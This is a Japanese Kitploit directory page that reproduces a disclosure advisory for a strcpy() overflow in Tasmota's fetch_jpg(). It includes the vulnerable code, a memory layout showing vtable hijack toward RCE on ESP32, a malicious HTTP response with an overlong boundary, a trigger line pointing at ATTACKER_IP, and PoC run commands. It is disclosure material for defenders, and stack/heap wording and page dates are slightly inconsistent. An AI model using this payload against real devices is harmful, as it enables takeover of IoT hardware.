Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-38426 — CVE-2026-38426 — Tasmota fetch_jpg() の boundary[40] における strcpy() スタックバッファオーバーフロー (Tasmota <= 15.3.0.3) | Kitploit
ツール/GitHubGitHub/sermikr0/cve-2026-38426
組み込みシステムセキュリティIoTセキュリティ脆弱性分析エクスプロイトハードウェアとIoTセキュリティリモートアクセストロイの木馬バイナリエクスプロイト
GitHubsermikr0/cve-2026-38426

CVE-2026-38426

CVE-2026-38426 — Tasmota fetch_jpg() の boundary[40] における strcpy() スタックバッファオーバーフロー (Tasmota <= 15.3.0.3)

リポジトリを見る
63ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-38426: Tasmota fetch_jpg() boundary[40] における strcpy() スタックバッファオーバーフロー

CVE: CVE-2026-38426
深刻度: 緊急 (CVSS 9.8)
製品: Arendst Tasmota
影響を受けるバージョン: <= 15.3.0.3
ファイル: tasmota/tasmota_xdrv_driver/xdrv_10_scripter.ino
関数: fetch_jpg() — case 0 (初回接続)
作者: Saidakbarxon Maxsudxonov
情報開示: 責任ある開示 — 公開前に Tasmota へ報告済み


概要

Tasmota のスクリプタードライバーの fetch_jpg() 関数には、古典的な strcpy() バッファオーバーフローの脆弱性が存在します。HTTP の Content-Type 応答ヘッダーから抽出された MJPEG バウンダリ文字列は、長さチェックなしで固定 40 バイトのバッファー (boundary[40]) にコピーされます。MJPEG HTTP サーバーを制御する攻撃者は、39 文字を超えるバウンダリ文字列を供給してバッファーをオーバーフローさせ、隣接するヒープメモリを破壊できます — ESP32 上でリモートコード実行 (RCE) を達成する可能性があります。


脆弱なコード

root@kitploit:~
// tasmota/tasmota_xdrv_driver/xdrv_10_scripter.ino

struct JPG_TASK {
    char boundary[40];   // ← FIXED SIZE — only 40 bytes!
    bool draw;
    uint8_t scale;
    uint16_t xp;
    uint16_t yp;
    WiFiClient stream;   // contains vtable pointer
    HTTPClient http;     // contains vtable pointer
} jpg_task;

// Case 0: initial connection
String boundary = http.header("Content-Type");
// Server sends: "multipart/x-mixed-replace; boundary=AAAAAA...AAAA" (>39 chars)
char *cp = strchr(boundary.c_str(), '=');
if (cp) {
    strcpy(glob_script_mem.jpg_task.boundary, cp + 1);  // NO LENGTH CHECK — OVERFLOW!
}

ヒープメモリレイアウト (ESP32)

root@kitploit:~
struct JPG_TASK layout:
  +0x00  boundary[40]     ← overflow starts here
  +0x28  draw (bool)      ← corrupted
  +0x29  scale (uint8_t)  ← corrupted
  +0x2A  xp (uint16_t)    ← corrupted
  +0x2C  yp (uint16_t)    ← corrupted
  +0x2E  WiFiClient        ← vtable ptr overwritten → RCE
  +0x7E  HTTPClient        ← vtable ptr overwritten → RCE

攻撃者が制御する値で WiFiClient または HTTPClient の vtable ポインターを上書きすると、その後いずれかの仮想メソッド (read()、write()、connect()) が呼び出された際に RCE が引き起こされます。


攻撃シナリオ

攻撃者は、Tasmota が fetchjp() 経由で接続する HTTP サーバーを実行します。サーバーは、39 文字を超えるバウンダリ文字列を含む Content-Type ヘッダーで応答します:

root@kitploit:~
HTTP/1.1 200 OK
Content-Type: multipart/x-mixed-replace; boundary=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Tasmota の strcpy() は、50 バイト以上を 40 バイトの boundary バッファーにコピーし、隣接する構造体フィールドへオーバーフローさせます。

Tasmota スクリプトによるトリガー:

root@kitploit:~
>D
>B
fetchjp(ATTACKER_IP:PORT/stream,0,0,1)

概念実証 (PoC)

root@kitploit:~
python3 CVE-2026-38426_poc.py --port 8888 --mode crash
python3 CVE-2026-38426_poc.py --port 8888 --mode info

完全な実装については CVE-2026-38426_poc.py を参照してください。


影響

  • 機密性: 高 (ESP32 での vtable ハイジャックによる RCE)
  • 完全性: 高
  • 可用性: 高 (確実なクラッシュ)
  • 攻撃ベクトル: ネットワーク
  • 認証: 不要

タイムライン

  • 2026-03-29: 脆弱性を発見し、MITRE に報告
  • 2026-03-29: CVE-2026-38426 を割り当て
  • 2026-05-xx: Tasmota がパッチをリリース (v15.3.0.4+)

参照

  • Tasmota GitHub
  • xdrv_10_scripter.ino
  • CVE-2026-38426
ツールをダウンロード